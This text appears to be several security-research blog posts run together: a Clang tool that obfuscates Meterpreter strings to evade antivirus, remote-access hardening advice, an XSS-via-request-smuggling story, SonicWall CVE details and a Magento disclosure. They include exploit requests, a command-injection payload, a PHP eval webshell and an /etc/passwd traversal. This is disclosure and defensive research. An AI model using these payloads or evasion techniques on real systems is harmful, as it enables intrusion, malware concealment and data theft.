namespace ClSetup {
llvm::cl::OptionCategory ToolCategory("StringEncryptor");
}
namespace StringEncryptor {
clang::Rewriter ASTRewriter;
class Action : public clang::ASTFrontendAction {
public:
using ASTConsumerPointer = std::unique_ptr<clang::ASTConsumer>;
ASTConsumerPointer CreateASTConsumer(clang::CompilerInstance &Compiler,
llvm::StringRef Filename) override {
ASTRewriter.setSourceMgr(Compiler.getSourceManager(), Compiler.getLangOpts());
std::vector<ASTConsumer*> consumers;
consumers.push_back(&StringConsumer);
// several passes can be combined together by adding them to `consumers`
auto TheConsumer = llvm::make_unique<Consumer>();
TheConsumer->consumers = consumers;
return TheConsumer;
}
bool BeginSourceFileAction(clang::CompilerInstance &Compiler) override {
llvm::outs() << "Processing file " << '\n';
return true;
}
void EndSourceFileAction() override {
clang::SourceManager &SM = ASTRewriter.getSourceMgr();
std::string FileName = SM.getFileEntryForID(SM.getMainFileID())->getName();
llvm::errs() << "** EndSourceFileAction for: " << FileName << "\n";
// Now emit the rewritten buffer.
llvm::errs() << "Here is the edited source file :\n\n";
std::string TypeS;
llvm::raw_string_ostream s(TypeS);
auto FileID = SM.getMainFileID();
auto ReWriteBuffer = ASTRewriter.getRewriteBufferFor(FileID);
if(ReWriteBuffer != nullptr)
ReWriteBuffer->write((s));
else{
llvm::errs() << "File was not modified\n";
return;
}
std::string result = s.str();
std::ofstream fo(FileName);
if(fo.is_open())
fo << result;
else
llvm::errs() << "[!] Error saving result to " << FileName << "\n";
}
};
}
auto main(int argc, const char *argv[]) -> int {
using namespace clang::tooling;
using namespace ClSetup;
CommonOptionsParser OptionsParser(argc, argv, ToolCategory);
ClangTool Tool(OptionsParser.getCompilations(),
OptionsParser.getSourcePathList());
auto Action = newFrontendActionFactory<StringEncryptor::Action>();
return Tool.run(Action.get());
}
Since that boilerplate code is taken from examples in the official documentation, there is no need to describe it further. In fact, the only modification worth mentioning is inside CreateASTConsumer. Our end game is to run several tranformation passes on the same translation unit. It can be done by adding items to the consumers collection (the essential line is consumers.push_back(&...);).
String obfuscation
This section describes the most important implementation details regarding the string obfuscation pass, which comprises three steps:
Locate string literals in the source code.
Replace them with variables
Insert a variable definition / assignment at the appropriate location (enclosing function or global context).
Locating string literals in source code
StringConsumer can be defined as follows (at the beginning of the StringEncryptor namespace):
class StringEncryptionConsumer : public clang::ASTConsumer {
public:
void HandleTranslationUnit(clang::ASTContext &Context) override {
using namespace clang::ast_matchers;
using namespace StringEncryptor;
llvm::outs() << "[StringEncryption] Registering ASTMatcher...\n";
MatchFinder Finder;
MatchHandler Handler(&ASTRewriter);
const auto Matcher = stringLiteral().bind("decl");
Finder.addMatcher(Matcher, &Handler);
Finder.matchAST(Context);
}
};
StringEncryptionConsumer StringConsumer = StringEncryptionConsumer();
Given a translation unit, we can tell Clang to find a pattern inside the AST, as well as register a “handler” to be called whenever a match is found. The pattern matching exposed by Clang’sASTMatcher is quite powerful, and yet underused here, since we only resort to it to locate string literals.
Then, we can get to the heart of the matter by implementing a MatchHandler, which will provide us with a MatchResult instance. A MatchResult contains a reference to the AST node identified, as well as priceless context information.
#ifndef AVCLEANER_MATCHHANDLER_H
#define AVCLEANER_MATCHHANDLER_H
#include <vector>
#include <string>
#include <memory>
#include "llvm/Support/raw_ostream.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/ADT/ArrayRef.h"
#include "clang/Rewrite/Core/Rewriter.h"
#include "clang/Tooling/Tooling.h"
#include "clang/Tooling/CommonOptionsParser.h"
#include "clang/Frontend/FrontendAction.h"
#include "clang/Frontend/CompilerInstance.h"
#include "clang/Basic/SourceManager.h"
#include "clang/ASTMatchers/ASTMatchers.h"
#include "clang/ASTMatchers/ASTMatchFinder.h"
#include "clang/AST/Type.h"
#include "clang/AST/Decl.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/ASTConsumer.h"
#include "MatchHandler.h"
class MatchHandler : public clang::ast_matchers::MatchFinder::MatchCallback {
public:
using MatchResult = clang::ast_matchers::MatchFinder::MatchResult;
MatchHandler(clang::Rewriter *rewriter);
void run(const MatchResult &Result) override; // callback function that runs whenever a Match is found.
};
#endif //AVCLEANER_MATCHHANDLER_H
In MatchHandler.cpp, we will have to implement MatchHandler’s constructor and the run callback function. The constructor is pretty simple, since it is only needed to store the clang::Rewriter‘s instance for later use:
using namespace clang;
MatchHandler::MatchHandler(clang::Rewriter *rewriter) {
this->ASTRewriter = rewriter;
}
run is implemented as follows:
void MatchHandler::run(const MatchResult &Result) {
const auto *Decl = Result.Nodes.getNodeAs<clang::StringLiteral>("decl");
clang::SourceManager &SM = ASTRewriter->getSourceMgr();
// skip strings in included headers
if (!SM.isInMainFile(Decl->getBeginLoc()))
return;
// strings that comprise less than 5 characters are not worth the effort
if (!Decl->getBytes().str().size() > 4) {
return;
}
climbParentsIgnoreCast(*Decl, clang::ast_type_traits::DynTypedNode(), Result.Context, 0);
}
From the excerpt shown above, there are three elements worth mentioning:
We extract the AST node that was matched by the pattern defined in StringEncryptionConsumer. To do that, one can call the function getNodeAs, which expects a string as argument that relates to the identifier the pattern was bound to (see the line const auto Matcher = stringLiteral().bind("decl"))
We skip strings that are not defined in the translation unit under analysis. Indeed, our pass intervenes after Clang‘s preprocessor, which will actually copy-paste included system headers into the translation unit.
Then, we are ready to process the string literal. Since we need to know about the context where this string literal was found, we pass the extracted node to a user-defined function, (climbParentsIgnoreCast in this case, for the lack of a better name), along Result.Context, which contains a reference to the enclosing AST. The goal is to visit the tree upwards until an interesting node is found. In this case, we are interested in a node of type CallExpr.
In a nutshell, this function recursively looks up the parent nodes of a StringLiteral node, until it finds one that should be interesting (i.e. not a “cast”). handleStringInContext is also straight-forward:
As evident from the snippet above, only two kind of nodes are actually handled. It should also be quite easy to add more if needed. Indeed, both cases are already handled in a similar fashion.
void MatchHandler::handleCallExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
const clang::ast_type_traits::DynTypedNode node) {
const auto *FunctionCall = node.get<clang::CallExpr>();
if (isBlacklistedFunction(FunctionCall)) {
return; // exclude printf-like functions when the replacement is not constant anymore (C89 standard...).
}
handleExpr(pLiteral, pContext, node);
}
void MatchHandler::handleInitListExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
const clang::ast_type_traits::DynTypedNode node) {
handleExpr(pLiteral, pContext, node);
}
Replacing string literals
Since both CallExpr and InitListExpr can be handled in a similar fashion, we define a common function usable by both.
Find some empty space at the nearest location and insert the variable declaration. This is basically a wrapper around ASTRewriter->InsertText().
Replace the string with the identifier generated in step 1.
Add the string literal location to a collection. This is useful because when visiting InitListExpr, the same string literal will appear twice (no idea why).
The last step is the only one that is tricky to implement really, so let us focus on that first:
bool MatchHandler::replaceStringLiteral(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
clang::SourceRange LiteralRange,
const std::string& Replacement) {
// handle "TEXT" macro argument, for instance LoadLibrary(TEXT("ntdll"));
bool isMacro = ASTRewriter->getSourceMgr().isMacroBodyExpansion(pLiteral->getBeginLoc());
if (isMacro) {
StringRef OrigText = clang::Lexer::getSourceText(CharSourceRange(pLiteral->getSourceRange(), true),
pContext->getSourceManager(), pContext->getLangOpts());
// weird bug with TEXT Macro / other macros...there must be a proper way to do this.
if (OrigText.find("TEXT") != std::string::npos) {
ASTRewriter->RemoveText(LiteralRange);
LiteralRange.setEnd(ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getEndLoc().getLocWithOffset(-1)));
}
}
return ASTRewriter->ReplaceText(LiteralRange, Replacement);
}
Normally, replacing text should be realised with the ReplaceText API, but in practice too many bugs were encountered with it. When it comes to macros, things tend to get very complicated because Clang’s API behaves inconsistently. For instance, if you remove the check isMacroBodyExpansion(), you will end up replacing “TEXT” instead of its argument.
For instance in LoadLibrary(TEXT("ntdll")), the actual result would be LoadLibrary(your_variable("ntdll")), which is incorrect.
The reason for this is that TEXT is a macro that, when handled by the Clang’s preprocessor, is replaced with L"ntdll". Our transformation pass happens after the preprocessor has done its job, so querying the start and end locations of the token “ntdll” will yield values that are off by a few characters, and are not useful to us. Unfortunately, querying the actual locations in the original translation unit is a kind of black magic with Clang’s API, and the working solution was found with trial-and-error, sorry.
Inserting a variable declaration at the nearest empty location
Now that we are able to replace string literals with variable identifiers, the goal is to define that variable and assign it with the value of the original string. In short, we want the patched source code to contain char your_variable[] = "ntdll", without overwriting anything.
There can be two scenarios:
The string literal is located within a function body.
The string literal is located outside a function body.
The latter is the most straightforward, since it is only needed to find the start of the expression where the string literal is used.
For the former, we need to find the enclosing function. Then, Clang exposes an API to query the start location of the function body (after the first bracket). This is an ideal place to insert a variable declaration because the variable will be visible in the entire function, and the tokens that we insert will not overwrite stuff.
In any case, both situations are solved by visiting every parent node until a node of type FunctionDecl or VarDecl is found:
MatchHandler::findInjectionSpot(clang::ASTContext *const Context, clang::ast_type_traits::DynTypedNode Parent,
const clang::StringLiteral &Literal, bool IsGlobal, uint64_t Iterations) {
if (Iterations > CLIMB_PARENTS_MAX_ITER)
throw std::runtime_error("Reached max iterations when trying to find a function declaration");
ASTContext::DynTypedNodeList parents = Context->getParents(Literal);;
if (Iterations > 0) {
parents = Context->getParents(Parent);
}
for (const auto &parent : parents) {
StringRef ParentNodeKind = parent.getNodeKind().asStringRef();
if (ParentNodeKind.find("FunctionDecl") != std::string::npos) {
auto FunDecl = parent.get<clang::FunctionDecl>();
auto *Statement = FunDecl->getBody();
auto *FirstChild = *Statement->child_begin();
return {FirstChild->getBeginLoc(), FunDecl->getEndLoc()};
} else if (ParentNodeKind.find("VarDecl") != std::string::npos) {
if (IsGlobal) {
return parent.get<clang::VarDecl>()->getSourceRange();
}
}
return findInjectionSpot(Context, parent, Literal, IsGlobal, ++Iterations);
}
}
Test
git clone https://github.com/SCRT/avcleaner
mkdir avcleaner/CMakeBuild && cd avcleaner/CMakeBuild
cmake ..
make
cd ..
bash run_example.sh test/string_simplest.c
As you can see, this works pretty well. Now, this example was simple enough that it could have been solved with regexes and way fewer lines of codes. However, even though we are delighted to count the king of regexes ( @1mm0rt411 himself) among our ranks, it would have been unfair to challenge him with a task as pesky as string obfuscation in Meterpreter.
Going further
For now, strings are not actually encrypted, in spite of the obfuscation pass being named “StringEncryptor”. How much effort is really needed to actually encrypt the strings? Spoiler: a few more hours, but it is a tradition to leave some exercices for the reader
In addition, @TheColonial recently (April 2020) updated Meterpreter so that it can be compiled with more recent versions of Visual Studio. It means that it should be possible to move on from the C89 standard and handle more corner cases, such as obfuscating the first argument to format string functions.
To be continued…
As this post is already kind of lengthy, it was decided to split it into several parts. In fact, obfuscating strings was the easy part implementation-wise, although you need to be extremely familiar with Clang‘s API. Its documentation being the source code, we recommend allocating a week or two to ingest it as a whole (and then don’t hesitate to reach out to a specialist for mental health recovery).
The next blog post will be about hiding API Imports automatically.
Like everybody, SCRT has been adjusting to life under Covid-19 over the last weeks. Thankfully, we’ve been prepared for working from home for quite some time now as many of us do so during normal circumstances anyways. This is however not the case for all companies and we’ve unfortunately been called in to help some of them deal with the unwanted consequences of poorly setting up their remote access (read: they got hacked). So here is a quick blog post detailing the main issues we see with remote access systems and what can be done to avoid them.
From an attacker’s perspective, there are essentially three ways of exploiting a remote access system to reach a company’s internal network:
Compromise the device of an end user and wait until he or she legitimately connects to the system to either steal the credentials or the session
Compromise valid credentials
Compromise the remote access system itself
When we look at it this way, most people will probably be wary of the end user devices connecting to the corporate network as a “new” attack vector since everybody is working from home. But before getting into that, I want to mention the other categories first, as up to now they have been the ones which have been causing the most problems (that we have seen).
Compromising valid credentials
Whatever the remote access system you have setup, whether it be a simple RDP server exposed to the Internet, a Citrix Netscaler or any flavour of SSL-VPN, if the users connecting to them use a single authentication factor (a password), their accounts will get compromised and attackers will gain access to the system. It’s as simple as that.
Some people might be thinking that a “complex” password policy and rotating passwords every few months will avoid this, but the truth is there is always someone within the company who will be using Geneva2020! (supposing your company is based in Geneva) as their password. A decent attacker will quickly find the appropriate account and connect to the system with it.
The only solution here is implementing a second authentication factor. Microsoft wrote a nice post about passwords which can be found here, which shows pretty well why any other measure will be ineffective.
Not all authentication factors are born equal though and there are differences between tokens, certificates or SMSs but whatever the second factor is, it will be better than relying on a single password. If a machine certificate is used as an authentication factor, it does have the advantage of being “unphishable”, unlike any other factor which has to be entered by the user.
So the first recommendation, which shouldn’t come as a surprise, is to implement Multi-Factor Authentication (MFA) for your remote access system. Even if it obviously doesn’t provide perfect security, it is a big step in the right direction.
Compromising the Remote Access System
If 2019 taught us anything, it’s that remote access systems are not as secure as vendors will try to make us believe. Last year, most SSL-VPN vendors were hit by at least one serious vulnerability allowing attackers to break into the protected network:
Netscaler (CVE-2019-19781)
Fortinet (CVE-2018-13382)
Pulse Secure (CVE-2019-11510)
SonicWall (CVE-2019-7482)
Palo Alto (no CVE)
Let’s add to that Bluekeep (CVE-2019-0708) for RDP and we’ve already got a lot of systems covered. And these are just the ones that were made public!
So the second takeaway here is to always ensure your remote access systems are up to date. Vulnerabilities in these systems have important consequences and are usually very quickly exploited, so make sure you have a way of being notified when a new patch is available and apply it as soon as possible.
Compromising an end user device
And now we get to the final aspect of this post which is attempting to secure your systems from potentially compromised end user devices. In many cases, companies are now allowing employees to remotely connect to the corporate network with their own personal devices on which the company has absolutely no control. There might not even be AppLocker on the device!
The bottom line is that unfortunately, if a compromised device is used to connect to a remote access system, an attacker can pretty much do anything the legitimate user can. Whether you have multi-factor authentication setup or not will not protect you against this. For example, an attacker can simply wait for the legitimate user to authenticate to the SSL-VPNs Web interface and then steal the generated session cookie. If the cookie is bound to the user’s IP address, the attacker can proxy his/her connections through the victim’s workstation.
Preventing a device from being compromised in the first place entirely depends on the end user (in the case where he or she is using their own personal device). Awareness trainings can help, though often only employees who are interested in the subject and therefore need it the least attend unless they are mandatory. Nevertheless, talking about the subject and discussing cases with employees, and therefore integrating them into the company’s defense mechanism will raise awareness and increase the chances of at least detecting the attacks.
MELANI wrote a short document on how users can protect themselves which can be found here. It covers several topics, but I’d say the main recommendation is that if it is at all possible, have a separate work computer from your private one and make sure nobody else uses it.
Protecting against a compromised private device is akin to protecting against a malicious insider. Much like dealing with Covid19, there are mainly two options here:
Isolation
Detection
This is not rocket science, but most companies still have a hard time properly segmenting their internal network and implementing strict firewall rules, which makes it difficult to truly isolate a malicious user. On the upside, these are issues which all companies should be tackling, whether it’s due to the current situation leading to increased Work from Home, or not.
When I say isolation, I essentially mean applying the least-privilege principle and ensuring a user only has access to what he or she absolutely needs in order to work efficiently. In this way, even if the user’s device is compromised, the attacker can still only access what the user has access to.
When it comes to detection, it is all about detecting patterns of actions which deviate from the norm. Why is someone from IT suddenly attempting to read files on the accounting share? Probably because it’s not really them doing it! This requires some kind of base for comparison, and some intelligence to detect the outliers. A flurry of solutions based, for example, on machine learning techniques exist to do this, but I won’t go so far as to recommend one over the other.
Summary (TL;DR)
So to summarize the contents of this post, my recommendations to secure a remote access solution are:
Use multiple authentication factors, and if possible one which is unknown to the user
Make sure your remote access solution is up to date
Have your employees use a dedicated machine for accessing the network whenever possible
Apply the least privileges principle and restrict access to the strict minimum for all users
Detect abnormal patterns and behaviours
Without working on these aspects, companies will essentially be blind and very vulnerable to attacks targeting these remote access solutions.
During a recent penetration test we stumbled upon a couple of issues which independently might not have warranted any attention, but when combined allowed to compromise other users by injecting arbitrary JavaScript into their browsers. It goes to show that even certain issues which might not always seem particularly interesting (such as self-XSS) can sometimes be exploited in meaningful ways. I’ll keep this mostly theoretical so as not to divulge any information on the actual targeted system.
The first interesting behaviour we noticed during the assessment was related to the authentication mechanism. When logging in with a valid user account, the application would generate a base64-encoded session cookie which always started with the same values but had differing endings. This often happens when the cookie contains some kind of encrypted information related to the account and a timestamp to define how long the cookie is valid. Given the fact that the start of the cookie was always the same, it pointed to the fact that the encryption mode was either ECB or CBC with a static IV.
The web application actually decrypts the content of the cookie to display the username on the main page. The latter was discovered by attempting a CBC byte-flipping attack which allowed us to see certain blocks of scrambled text in the resulting page.
In this particular case, we weren’t able to generate arbitrary accounts to force the creation of arbitrary cookies, but we did notice a particularly strange behaviour in the authentication mechanism which allowed us to generate semi-arbitrary cookies anyways, which would in turn allow us to generate encrypted blocks for values we could use to inject JavaScript into the page.
It turns out that if we could login with an account named test, it was also possible to login with an account named ./toto/titi/../../test. This username was accepted with the same password as the original one. There is most certainly some other vulnerability here (path traversal or XPath injection maybe?), but given the limited time of the assessment, we weren’t able to exploit it in any other way than the one detailed below.
Given the “name traversal” issue, we could essentially generate encrypted cookies with arbitrary blocks. Since some of these blocks are then decrypted and shown in the web page, we were then able to force the generation of blocks which would result in a self-XSS. Obviously when we first noticed that the username was reflected in the page we attempted to inject JavaScript code directly into the username, but this was actually rejected by the application, so the only way of exploiting the issue was through the manipulation of the encrypted cookie, as its decrypted value was not sanitized. Unfortunately, this would only impact ourselves, unless we found a way to set another browser’s cookie to our malicious value.
This is where Burp’s request smuggler plugin came in handy, as while we were busy encrypting cookies, it also revealed that the web application was vulnerable to a request smuggling vulnerability. This type of vulnerability gives an attacker the ability to prepend another user’s HTTP request to the web application. This is where our previous discoveries related to the cookie parsing came in handy, as the request smuggling issue allowed us to specify the URL and headers of a subsequent request from another browser. In essence, this allows us to specify the cookie used by another browser for one request (although it could be repeated multiple times).
So, by exploiting this issue, we can send our malicious cookie to another user’s browser and therefore have our decrypted malicious javaScript code executed in his browser. That particular page would be rendered with our own cookie and privileges, but any further request would keep the browser’s original cookie and privileges (as long as we don’t perform another smuggling attack…). This would therefore allow our script to interact with the affected domain in any way the legitimate user could. Our Self-XSS was therefore transformed into a stored-XSS! A very restrictive CSP could have made our life harder, but in this case there was none.
I hope this quick post can give you other ideas to exploit weird and seemingly unrelated issues such as these in your own assessments!
Last year, Orange Tsai did some awesome research and discovered several vulnerabilities in SSL VPN providers which can allow an attacker to break into a network through the very device which is supposed to protect it. The vulnerable constructors were:
Palo Alto
Fortinet
Pulse Secure
I’ll admit I’ve always found it particularly ironic to discover vulnerabilities in security-related devices and we’ve had a surprising amount of success at discovering these at SCRT throughout the years.
While reading through Orange’s blog posts, I noticed one comment asking whether any other vendors were affected. Although I can’t find the comment any more (it was several months ago), at the time I figured I might as well have a go at finding vulnerabilities in one of the other VPN vendors. I pretty randomly chose to start looking at SonicWall who recently wrote a post indicating that their products were not vulnerable to the Palo Alto vulnerability. ¯\_(ツ)_/¯
Not knowing much about SonicWall’s products, I searched for what could be an SSL-VPN device and ended up finding the Secure Remote Access (SRA). Thankfully, it is possible to download a trial virtual machine of the device which I recovered and started to analyse. All analysis was done on version 8.1.0.7-22sv of the device, which seemed rather dated, but I couldn’t find a newer version anywhere. I think this particular device has actually been replaced or is in the process of being replaced by the SMA devices which are at least also partially vulnerable to the issues reported below.
I started off by looking at the web interface exposed for the SSL-VPN. This interface contains a number of CGI files in the cgi-bin folder. These can be called remotely and are just 32-bit ELF binaries that are run on Linux. I went through them to understand how authentication was handled to either find a vulnerability in the authentication system itself, but also just to figure out which files can be called without being authenticated.
One of these CGI files is supportLogin which is used to handle certain types of authentication. I discovered a couple of vulnerabilities in here which can be exploited without requiring an account though they need the “Virtual Assist” module to be enabled on the device. To be honest, I do not know whether this is a commonly used module or not.
The first issue I discovered is a SQL injection in a parameter called customerTID. The web application uses a SQLite database and constructs several queries with user-supplied input through the sqlite3 printf functions. In most cases, it uses the %q formatter to appropriately escape quotes. However, as can be seen below, in some instances, a %s is used instead. As this doesn’t perform any escaping, a trivial SQL injection is present.
This leads to a blind SQL injection vulnerability which can be exploited remotely. The most interesting data that is stored in this particular SQLite database seems to be session identifiers for authenticated users in a table named Sessions. If exploited at the right time, this would grant access to the SSL-VPN with various levels of privileges.
In the same CGI file, a second vulnerability which leads to arbitrary code execution was also discovered. This one is a buffer overflow present in the parsing of the browser’s user-agent. The overflow can occur if the user-agent pretends to be Safari, as this results in calling the getSafariVersion function in the libSys.so library.
The getSafariVersion function looks something like what is below.
The memcpy function can be used here to overflow the local buffer. In the SRA, there is no stack canary, so overwriting EIP and using a rop chain to execute commands is simple. In the SMA, there are exploit mitigations in place and exploiting the issue would probably require a leak somewhere else or deeper investigations.
Nevertheless, crashing the CGI can be done with the following request:
GET /cgi-bin/supportLogin HTTP/1.1
Host: 10.1.0.100
User-Agent: plop Mac OS X Safari Version/12345678901234567890123456789012345678901234AAAABBBBCCCC lol Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
The handler will restart automatically so it is possible to re-exploit the issue multiple times for example to brute-force libc’s base address. In practice after less than a 100 attempts, it is usually possible to get arbitrary commands to be run with nobody privileges on the device.
A third pre-authentication vulnerability is a pretty useless directory traversal, as it only allows to test for the existence of a file. In theory, if the file matches a certain structure, it would be possible to read parts of it. It was attributed the following CVE : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7483
In practice, I think this last issue can easily be used to figure out if a device is vulnerable to the two other vulnerabilities as they will likely all be patched together. Essentially, a device is vulnerable if the following requests takes a bit of time to complete:
Three other vulnerabilities were discovered during the analysis, but they all require an account to be exploited:
CVE-2019-7484 – Authenticated SQL injection
CVE-2019-7485 – Authenticated Buffer Overflow
CVE-2019-7486 – Authenticated Code injection
The two first ones are very similar to what was described above, while the last is a straightforward command injection, but I believe it requires an admin account, so you can be the judge of the criticity. It can be exploited like this:
POST /cgi-bin/viewcacert HTTP/1.1
Host: 192.168.200.1
[...]
Content-Length: 67
buttontype=delete&CERT=newcert-3'--'
ping -c 4 192.168.200.123
ls
Regarding the timeline, I reported these issues on the 5th of June 2019 to Sonicwall’s team and the advisories were then published on the 17th of December 2019.
I had a quick look recently (so 2 months after the critical update was released) to see whether there are still unpatched devices out there. I only tested the directory traversal issue and obviously there are still numerous vulnerable devices exploitable from the Internet. This is why I didn’t go ahead and post the exploit code itself in here.
The Swiss Cantons have offered online voting
to members of their electorate since 2004. Meanwhile, more than 200 binding
trials at Federal votes and elections have taken place in 15 cantons over the years.
In order to expand online voting to a broader
public, the Federal regulation obliges the Cantons to meet an additional set of
requirements. These include the system feature of full verifiability,
performing numerous audits and publishing the software components’ source code.
Additionally, the Swiss Confederation and the Cantons have decided that the systems used for online voting needed to be publicly tested within the setting of a public intrusion test (PIT). By performing a PIT, the Confederation and the Cantons are hoping to get a valuable outside view on the system by a large number of competent people.
Swiss Post’s E-Voting System
Swiss Post provides
one of the major online voting platforms currently available in Switzerland. The
latest version of this platform has already been pen-tested and
certified under the legal framework of the Swiss Confederation. As required by Federal regulations, this system must
now be subject to a public intrusion test.
Third-party operator
In order to managed
and operate this PIT, a
third-party and independent company has been
selected: SCRT.
SCRT are
not involved in the development, deployment
or promotion of Swiss Post’s
e-voting system and act under the mandate of the Swiss Confederation and the Cantons.
They are responsible for enabling registration
and vulnerability submission as well as providing support to participants. SCRT
are the single point of contact for all participants and oversee the review and
triage of the vulnerability submissions.
Dates
The Public Intrusion Test will start on Feb. 25th 2019. It will be running
for a period of four weeks, which corresponds to the duration of a Swiss
federal vote, until March 24th
2019.
Compensations
Swiss Post have committed to compensate participants
if they reveal a relevant vulnerability. An amount of CHF 150’000.- is
available for compensations.
Anyone can register and
participate. While the target is a Swiss e-voting system, this PIT is meant for
anyone interested in the matter and is not restricted to Swiss citizens.
I regularly search for vulnerabilities on big services that allow it and have a Bug Bounty program. Here is a second paper which covers two vulnerabilities I discovered on Magento, a big ecommerce CMS that’s now part of Adobe Experience Cloud. These vulnerabilities have been responsibly disclosed to Magento team, and patched for Magento 2.3.0, 2.2.7 and 2.1.16.
Both of vulnerabilities need low privileges admin account, usually given to Marketing users :
The first vulnerability is a command execution using path traversal, and requires the user to be able to create products
The second vulnerability is a local file read, and requires the user to be able to create email templates
The interesting thing is the possibility to instantiate blocks with the <block> tag, and then to call methods on it with the <action> tag. This will only work if the object implements the Block interface, by the way. However, I was searching if there’s anything interesting to do with this, and saw the following function for class Magento\Framework\View\Element\Template :
This code is responsible for loading templates from file; there’s two extension authorized that are phtml (to treat it as PHP template file) and xhtml (to treat it as plain HTML file I imagine?). Obviously, we want the PHP thing, that’s more fun.
The $fileName parameter is passed into the \Magento\Framework\View\Element\Template\File\Validator::isValid() function, that checks if the file is in certain directories (compiled, module or themes directories). This check used the isPathInDirectories to do so :
protected function isPathInDirectories($path, $directories)
{
if (!is_array($directories)) {
$directories = (array)$directories;
}
foreach ($directories as $directory) {
if (0 === strpos($path, $directory)) {
return true;
}
}
return false;
}
This function only checks if the provided path begins by a specific directory name (ex: /path/to/your/magento/app/code/Magento/Theme/view/frontend/). However, it does not control that’s the resolved path is still in those whitelisted directories. That means there’s an obvious path traversal in this function that we can call through a Product Design. However, it will only process .phtml file as PHP code, which is a forbidden extension on most upload forms.
“Most of upload forms” means there’s exception! You can create a file with “Custom Options”, and one is “File”. I imagine this is in case the customer wants to send a 3D template or instructions for its order. The real reason isn’t that important, the fact is that you can allow extensions you want to be uploaded, including phtml. Once the item is ordered, the uploaded file will be stored in /your/path/to/magento/pub/media/custom_options/quote/firstLetterOfYourOriginalFileName/secondLetterOfYourOriginalFileName/md5(contentOfYourFile).extension
This is sufficient for having a command execution payload. Here is the complete steps :
Log in with a user that has some low admin privileges and is allowed to create products
First of all, create a new product, with a new Custom Options of type File, with .phtml as an authorized extension and some pieces in stock to order one.
Go on the frontend, on the product you just created. Upload your .phtml and set the item in your cart. For example, my file is named “blaklis.phtml” and contains “<?php eval(stripslashes($_REQUEST[0])); ?>“
The .phtml file is uploaded to /your/path/to/magento/pub/media/custom_options/quote/firstLetterOfYourOriginalFileName/secondLetterOfYourOriginalFileName/md5(contentOfYourPhtmlFile).phtml. For example, for my file, the location will be /your/path/to/magento/pub/media/custom_options/quote/b/l/11e48860e4cdacada256445285d56015.phtml
You must have the full path to the application to use the fetchView function. An easy way to retrieve it is to run the following request :
POST /magentoroot/index.php/magentoadmin/product_video/product_gallery/retrieveImage/key/[key]/?isAjax=true HTTP/1.1 [...] Connection: close
Go to the frontend page of this product; your code should executed.
This flaw was not that obvious, but has been fun to search for!
Local File Read in Email Templating
This one is a lot easier; in fact, it was a pretty obvious one. Email templating allow to use some special directives, surrounded by {{ }}. One of these directives is {{css 'path'}} to load the content of a CSS file into the email. The path parameter is vulnerable to path traversal, and can be used to inject any file into the email template.
The functions that are managing this directive are the following :
public function cssDirective($construction)
{
if ($this->isPlainTemplateMode()) {
return '';
}
$params = $this->getParameters($construction[2]);
$file = isset($params['file']) ? $params['file'] : null;
if (!$file) {
// Return CSS comment for debugging purposes
return '/* ' . __('"file" parameter must be specified') . ' */';
}
$css = $this->getCssProcessor()->process(
$this->getCssFilesContent([$params['file']])
);
if (strpos($css, ContentProcessorInterface::ERROR_MESSAGE_PREFIX) !== false) {
// Return compilation error wrapped in CSS comment
return '/*' . PHP_EOL . $css . PHP_EOL . '*/';
} elseif (!empty($css)) {
return $css;
} else {
// Return CSS comment for debugging purposes
return '/* ' . sprintf(__('Contents of %s could not be loaded or is empty'), $file) . ' */';
}
}
public function getCssFilesContent(array $files)
{
// Remove duplicate files
$files = array_unique($files);
$designParams = $this->getDesignParams();
if (!count($designParams)) {
throw new \Magento\Framework\Exception\MailException(
__('Design params must be set before calling this method')
);
}
$css = '';
try {
foreach ($files as $file) {
$asset = $this->_assetRepo->createAsset($file, $designParams);
$pubDirectory = $this->getPubDirectory($asset->getContext()->getBaseDirType());
if ($pubDirectory->isExist($asset->getPath())) {
$css .= $pubDirectory->readFile($asset->getPath());
} else {
$css .= $asset->getContent();
}
}
} catch (ContentProcessorException $exception) {
$css = $exception->getMessage();
} catch (\Magento\Framework\View\Asset\File\NotFoundException $exception) {
$css = '';
}
return $css;
}
Those 2 functions are not checking for path traversal characters anywhere, and are indeed vulnerable.
Creating an email template with the {{css file="../../../../../../../../../../../../../../../etc/passwd"}} should be sufficient to trigger the vulnerability.
Here is the responsible disclosure timeline for these 2 bugs : firstly, for the RCE one, and then for the file read one
2018.09.11 : initial disclosure for the path traversal / RCE
2018.09.17 : triaged by Bugcrowd staff
2018.10.08 : triaged by Magento staff
2018.11.28 : patch issued by Magento; release 2.2.7 and 2.1.16 released
2018.12.11 : a $5000 bounty was awarded
2018.08.09 : initial disclosure for the path traversal / local file read
2018.08.29 : triaged by Bugcrowd staff after asking for details
2018.10.08 : triaged by Magento staff
2018.11.28 : patch issued by Magento; release 2.2.7 and 2.1.16 released
Following last week-end’s Insomni’hack teaser and popular demand, here is a detailed write-up for my winhttpd challenge, that implemented a custom multi-threaded httpd and was running on the latest version of Windows 10:
This challenge is running on Windows Server 2019, Version 1809 (OS Build 17763.253).
Since multi-threaded servers have obvious isolation issues for a CTF challenge, you had to first connect to a dispatcher service which would spawn an instance for you on a dedicated port, that only your IP was allowed to access. Then you could send as many requests to the httpd as you like as long as the instance didn’t crash and if you kept the dispatcher socket open.
It all starts with a HeapCreate
The server limits the number of concurrent requests to 5, and each request runs in a dedicated thread, which creates a private heap with HeapCreate(0, 0, 0) and finally destroys it with HeapDestroy(hHeap) when the request terminates.
This means that every request has a clean heap and cannot interfere with other requests’ heaps (yet), making it far easier to have deterministic allocations since you don’t have to worry about whatever occurs on the main heap or in other threads. On the other hand, you loose whatever pointers you could have leaked from the main heap.
Private heaps have their own LFH and thus we also start with no LFH enabled, so we can avoid the LFH randomization altogether as long as we don’t create too many objects of the same size.
After opening several threads we can observe that we get the following heaps:
unlike mmap on (non-grsec) Linux, all heaps are mapped in memory at with random offsets ; therefore leaking a heap address doesn’t mean we immediately can leak other heaps or libraries
all new heaps are aligned on 0x10000 ; that could come in handy for partial overwrites, however I didn’t actually use it in my exploit
The bugs
